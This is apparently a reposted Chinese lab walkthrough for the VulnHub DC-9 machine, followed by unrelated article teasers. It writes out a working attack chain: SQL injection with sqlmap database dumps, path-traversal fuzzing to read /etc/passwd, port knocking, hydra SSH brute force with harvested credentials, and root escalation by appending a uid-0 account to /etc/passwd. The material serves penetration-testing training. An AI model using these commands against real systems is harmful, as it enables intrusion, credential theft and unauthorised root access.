vulnhub靶机: DC-9

dc-9靶机下载

将靶机设置为NAT模式,本次实验使用的内网网段为192.168.198.0/24,kali的ip为192.168.198.172

信息搜集

ip主机扫描:

nmap -sP 192.168.198.0/24

 

 确定靶机ip为192.168.198.171

主机端口扫描:

nmap -T4 -A -v 192.168.198.171

开放了 http 服务和 ssh 服务,从网站入手。

sql注入

在网页Search选项中尝试手动sql注入:

' or 1=1 --+

返回了所有结果,说明存在注入点。

开发者模式打开网络确定访问文件为results.php,使用POST请求,字段为search: "value"

 

使用sqlmap查找数据库:

sqlmap -u "http://192.168.198.171/results.php" --data "search=a" --dbs

下面分别提取 Staff 和 users 数据库数据。

Staff 数据库

查看表单:

sqlmap -u "http://192.168.198.171/results.php" --data "search=a" -D Staff --tables

获取StaffDetails 数据:

sqlmap -u "http://192.168.198.171/results.php" --data "search=a" -D Staff -T StaffDetails --dump

发现该表信息为网站record信息,用处不大。

获取Users 数据:

sqlmap -u "http://192.168.198.171/results.php" --data "search=a" -D Staff -T Users --dump

在sqlmap提示中发现hash加密,选择使用hash爆破,如果sqlmap爆破不出来就使用开源的md5解密。

得到一个用户密码:admin:transorbital1

users 数据库

提取表单:

sqlmap -u "http://192.168.198.171/results.php" --data "search=a" -D users --tables

找到一个表单,继续获取全部数据:

sqlmap -u "http://192.168.198.171/results.php" --data "search=a" -D users -T UserDetails --dump

得到一些用户和密码,这里先将用户信息和密码信息整理成users字典和passwd字典,后续ssh登录会用到,sqlmap会把信息保存到.csv文件中,根据提示进入保存的日志目录,写一个脚本提取列username和password,分别存在users和passwd中:

import csv
pth = 'UserDetails.csv'
with open(pth, mode='r') as f:a = csv.DictReader(f)with open('users', mode='w') as users_file, open('passwd', mode='w') as passwords_file:for row in a:users_file.write(row['username'] + '\n')passwords_file.write(row['password'] + '\n')

文件包含

下面尝试在网站Manage入口登录,利用Staff数据库中Users得到的账号密码登录,可以成功进入管理界面。

显示有 File does not exist 说明可能和文件包含有关,尝试用wfuzz测试文件参数,直接访问/etc/passwd,因为是登录状态,需要填上请求cookie

查看cookie

 

wfuzz -b 'PHPSESSID=kvj3gqn4qi7o9liajb68cktu6u' -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.198.171/manage.php?FUZZ=../../../../../../../etc/passwd

根据结果再用 --hl 50 过滤:

 找到请求参数是file,直接访问:

成功显示出来了操作系统/etc/passwd信息,发现和数据库users中一致,说明数据库中的信息可以用来登录操作系统。

ssh 登录

利用 users 数据库得到的两个字典目录,直接尝试ssh连接会报拒绝连接:

猜测可能使用了port knocking,在网页中尝试访问 knockd.conf 端口配置文件:

根据配置结果,按照7469,8475,9842顺序敲击端口:

for x in 7469 8475 9842 22 ;do nmap -p $x 192.168.198.171 ; done

再次使用ssh连接:

hydra -L users -P passwd 192.168.198.171 ssh

找到了三个用户和密码。

对于三个用户,分别用ssh登录

ssh chandlerb@192.168.198.171
ssh joeyt@192.168.198.171
ssh janitor@192.168.198.171

分别用 ls -a 查看文件,发现janitor用户下有.secrets-for-putin文件,进入后拿到新密码:

把新的密码copy到一个新的字典passwd2中,用户名不变,用hydra再次爆破:

找到一个新用户:fredf

对每一个用户登录后,再使用 sudo -l 查看是否有高权限可执行程序,发现 fredf 用户有一个root权限执行程序。

执行文件:

根据提示可以判断出是读取和追加功能的python文件。

提权

提权思路:利用test创建一个root用户,追加到/etc/passwd中,再利用创建的用户登录实现提权。

分析/etc/passwd 的格式:

用户名:密码:uid:gid:用户描述:home路径:命令解释程序

生成用户名密码:

openssl passwd -1 -salt admin 123456

生成结果:

$1$admin$LClYcRe.ee8dQwgrFc5nz.

写入的格式:

admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash

把内容先写入tmp目录中,因为tmp目录不受用户权限限制,再利用test脚本写入/etc/passwd

 

echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash' >> /tmp/new
sudo ./test /tmp/new /etc/passwd

成功写入后切换到admin用户

在root下找到flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/296967.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

RAG原理、综述与论文应用全解析

1. 背景 1.1 定义 检索增强生成 (Retrieval-Augmented Generation, RAG) 是指在利用大语言模型回答问题之前,先从外部知识库检索相关信息。 早在2020年就已经有人提及RAG的概念(paper:Retrieval-augmented generation for knowledge-inten…

LlamaIndex——RAG概述

文章目录 一、使用LLM1. 模型2. 词嵌入3. Prompt 二、加载1. 加载2. 转换(1)高级API(2)低级API 三、索引/EmbeddingTop K Retrieval 四、存储五、查询六、评估1. 生成结果质量评估2. 检索结果评估 RAG(检索增强生成&am…

复现k8s黄金票据学习

1.什么是黄金票据 在 Kubernetes 中,"黄金票据"并不是一个常见的术语。可能你想了解的是服务账户(Service Account)。服务账户是 Kubernetes 中用于身份验证和授权的一种机制。它们允许 Pods 或其他工作负载在 Kubernetes 集群中与…

Oracle 数据库中的全文搜索

Oracle 数据库中的全文搜索 0. 引言1. 整体流程2. 创建索引2-1. 创建一个简单的表2-2. 创建文本索引2-3. 查看创建的基础表 3. 运行查询3-1. 运行文本查询3-2. CONTAINS 运算符3-3. 混合查询3-4. OR 查询3-5. 通配符3-6. 短语搜索3-7. 模糊搜索(Fuzzy searches&…

深入Tauri开发——从环境搭建到项目构建

深入Tauri开发——从环境搭建到项目构建 开启你的Tauri桌面应用开发之旅(续) 经过上一篇文章的基础介绍,现在让我们更进一步,详细阐述如何在Windows和macOS平台上顺利搭建Tauri应用所需的开发环境,并指导您从创建项目…

哲♂学家带你深♂入了解动态顺序表

前言: 最近本哲♂学家学习了顺序表,下面我给大家分享一下关于顺序表的知识。 一、什么是顺序表 顺序表是用一段物理地址连续的存储单元依次存储数据元素的线性结构,一般情况下采用数组存储。在数组 上完成数据的增删查改。 顺序表&#xff…

Rust线程间通信通讯channel的理解和使用

Channel允许在Rust中创建一个消息传递渠道,它返回一个元组结构体,其中包含发送和接收端。发送端用于向通道发送数据,而接收端则用于从通道接收数据。不能使用可变变量的方式,线程外面修改了可变变量的值,线程里面是拿不…

水果销售(源码+文档)

水果销售管理系统(小程序、ios、安卓都可部署) 文件包含内容程序简要说明含有功能项目截图客户端添加地址首页商品详细意见反馈待发货商品分类我的代付款我的地址搜索防骗指南资料修改登录注册 后端管理分类管理反馈管理订单管理商品管理用户管理 文件包…

OpenHarmony实战:轻量级系统之配置其他子系统

除上述子系统之外,还有一些必要但是无需进行移植的子系统。如:分布式任务调度子系统、DFX子系统。 这些子系统添加方式比较简单,在“vendor/MyVendorCompany/MyProduct/config.json”文件中进行如下配置即可: {"subsystem&…

vulhub中Apache Solr 远程命令执行漏洞复现(CVE-2019-0193)

Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。此次漏洞出现在Apache Solr的DataImportHandler,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据。它具有一个功能&#…

[RK3128_LINUX5.1] 关于 RetroArch 使用

问题描述 查看文档 docs\cn\Linux\ApplicationNote\Rockchip_Use_Guide_Linux_RetroArch_CN.pdf,描述为实验 make menuconfig 后勾选选项 Libretro cores and retroarch -> retroarch 但是SDK中并没有这个选项 解决方案: 目前发布的buildroot SDK…

7 X 24h智能安全运维再升级!Fortinet 全面集成全新 FortiGuard SOCaaS

数字化时代网络安全威胁层出不穷,网络犯罪分子的狡诈攻击手段不断翻新,传统安全防御手段亟需进化。更为棘手的是,网络安全专业人才的匮乏,让众多企业陷入安全运营的困境。为了有效应对这一挑战,Fortinet全新推出FortiG…

使用PostgreSQL中的隐式转换解决,MybatisPlus插入数据库时的类型不一致的问题

使用PostgreSQL中的隐式转换解决,MybatisPlus插入数据库时的类型不一致的问题 问题描述 鄙人在使用 MybatisPlus插件开发一个SpringBoot项目时, 遇到数据库中employee表与Java实体对象中某个属性的类型不一致, 导致插入数据库失败. 具体问题截图如下: 具体原因在于, Java实体…

泛微E-Mobile /client.do 命令执行漏洞复现

0x01 产品简介 泛微e-Mobile移动管理平台是一款由泛微软件开发的企业移动办公解决方案。它提供了一系列功能和工具,使企业员工能够通过移动设备随时随地进行办公和协作。 0x02 漏洞概述 泛微E-Mobile存在命令执行漏洞,攻击者可以通过/client.do执行任意命令执行,从而获得…

Golang学习系列1-pprof性能调优

1. pprof 简述 一位亦师亦友的话让我记忆犹新,他说“学习一个新事务,应该从三个方面入手what,why,how;且三者的重要程度应该是递减”。所以在本文的第一部分先叙述下pprof的what & why。 1.1 What? pprof是golang自身提供的一种性能分…

C++初学者:优雅创建第一个窗口

我想学习C做一些实用的程序,但是我不想在软件界面上花太多的时间,可是每每就是界面影响我的思绪。 今天学习C类的包装知识,终于整出了一个我的界面类,虽然封装水平很弱, 这次就用这个类,写了自己工作上常用…

高阶DS---AVL树详解(每步配图)

目录 前言: AVL树的概念: AVL树节点的定义: AVL树的插入(重点) AVL树的旋转: (1)新节点插入较高左子树的左侧---右单旋 (2)新节点插入较高右子树的右侧---左单旋 …

续二叉搜索树递归玩法

文章目录 一、插入递归二、寻找递归&#xff08;非常简单&#xff0c;走流程就行&#xff09;三、插入递归&#xff08;理解起来比较麻烦&#xff09; 先赞后看&#xff0c;养成习惯&#xff01;&#xff01;&#xff01;^ _ ^<3 ❤️ ❤️ ❤️ 码字不易&#xff0c;大家的…

【基于HTML5的网页设计及应用】——-正则表达式.

&#x1f383;个人专栏&#xff1a; &#x1f42c; 算法设计与分析&#xff1a;算法设计与分析_IT闫的博客-CSDN博客 &#x1f433;Java基础&#xff1a;Java基础_IT闫的博客-CSDN博客 &#x1f40b;c语言&#xff1a;c语言_IT闫的博客-CSDN博客 &#x1f41f;MySQL&#xff1a…

ObjectiveC-09-OOP面向对象程序设计-继承

继承是所有高级语言都实现的一种特征&#xff0c;比如java、python甚至现在的js也有类似继承的写法。在表层目的是减少重复代码&#xff0c;深层目的是为了匹配业务与程序间的映射关系。 先来看下OOP设计思起中的继承的关系表示 再结合实例来看下完整的关系表示 一个简单的例…